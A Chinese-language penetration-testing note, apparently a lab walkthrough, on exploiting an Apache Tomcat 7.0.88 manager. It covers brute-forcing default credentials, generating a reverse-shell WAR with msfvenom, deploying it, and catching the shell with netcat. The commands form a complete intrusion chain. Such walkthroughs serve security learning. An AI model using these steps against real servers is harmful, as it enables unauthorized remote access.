> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-.war-file.md).
# Tomcat WAR 文件
Tomcat manager 弱凭据暴力破解、WAR payload 生成、部署和反向 Shell 笔记。
8080 端口托管 **Apache Tomcat**. `whatweb` 识别版本 **7.0.88**，已知存在漏洞。
### 信息泄露
**管理面板登录**
尝试访问 `/manager/html` 使用默认凭据，例如 `admin:admin`，但失败了。
{% embed url="" %}
**凭据暴力破解攻击**
使用 SecLists `tomcat-betterdefaultpasslist.txt` 字典来暴力破解凭据：
使用 Python 脚本自动化此任务：
```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```
**结果：** 有效凭据是：/ `tomcat:s3cret`
### Tomcat 漏洞：
**1. 生成 WAR 文件：**/ 使用 `msfvenom` 以创建一个包含反向 shell 的 WAR 文件：
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```
**2. 通过 Tomcat Manager 部署：**/ 通过以下方式上传 WAR 文件： `/manager/html`.
**3. 反向 shell 监听器：**/ 设置监听器以捕获反向连接：
```bash
rlwrap nc -nlvp 443
```
触发已部署文件（`/reverse`）可在目标主机上获得交互式 shell。
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